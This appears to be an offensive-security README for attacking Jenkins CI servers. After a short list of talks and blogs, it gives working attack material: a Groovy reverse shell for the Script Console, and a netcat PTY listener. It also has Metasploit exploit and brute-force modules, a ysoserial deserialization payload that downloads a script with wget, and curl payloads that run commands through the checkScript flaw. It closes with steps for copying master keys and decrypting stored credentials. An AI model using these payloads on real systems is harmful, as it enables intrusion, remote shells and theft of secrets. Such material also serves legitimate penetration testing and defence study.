Secure-or-Break-Jenkins

Hack Jenkins! it's sweet

Talks

BlackHat USA 2022

Hacking Jenkins - Orange Tsai

Best Practices for securing CI/CD Pipelines

CI/CD Pipeline Security - AWS

Blogs

RCE in Jenkins

Playing with Jenkins RCE Vulnerability by 0xdf

Secure Jenkins CI/CD by Crowdstrike

Story of a Hundred Vulnerable Jenkins Plugins

Exploiting Jenkins Groovy Script Console in Multiple Ways

Implement DevSecOps to Secure your CI/CD pipeline

Extras

Reverse shell from Groovy

In the left sidebar, navigate to "Manage Jenkins" > "Script Console", or just go to $rhost:8080/script

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

I'll leave this reverse shell tip to have a fully working PTY here in case anyone needs it , so dont do just nc -nlvp port instead do this :

stty raw -echo; (echo 'script -qc "/bin/bash" /dev/null';echo pty;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)";echo export PATH=\$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp;echo export TERM=xterm-256color;echo alias ll='ls -lsaht'; echo clear; echo id;cat) | nc -lvnp port && reset

Groovy Scripts

Decrypt Jenkins secrets from Groovy

println(hudson.util.Secret.decrypt("{...}"))

Command execution from Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

MSF exploit

**You can use MSF to get a reverse shell :

msf> use exploit/multi/http/jenkins_script_console

Bruteforce

**Jekins does not implement any password policy or username brute-force mitigation. Then, you should always try to brute-force users because probably weak passwords are being used (even usernames as passwords or reverse usernames as passwords).

msf> use auxiliary/scanner/http/jenkins_login

=====================

Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Jenkins Advisory

Details here.

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Jenkins Advisory

Original RCE vulnerability here, full exploit here.

Alternative RCE with Overall/Read and Job/Configure permissions here.

CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Jenkins Advisory, Credits.

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Execute arbitraty bash commands:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

If you don't immediately get a reverse shell you can debug by throwing an exception:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

Jenkins Advisory, Credits.

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Jenkins Advisory, Credits

Note that this is only exploitable if using a dedicated and out-of-date Update Center. Therefore most servers are not vulnerable.

Password spraying

Use this python script or this powershell script.

Files to copy after compromission

These files are needed to decrypt Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Such secrets can usually be found in:

  • credentials.xml
  • jobs/.../build.xml

Here's a regexp to find them:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Decrypt Jenkins secrets offline

Use this script to decrypt previsously dumped secrets.

Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)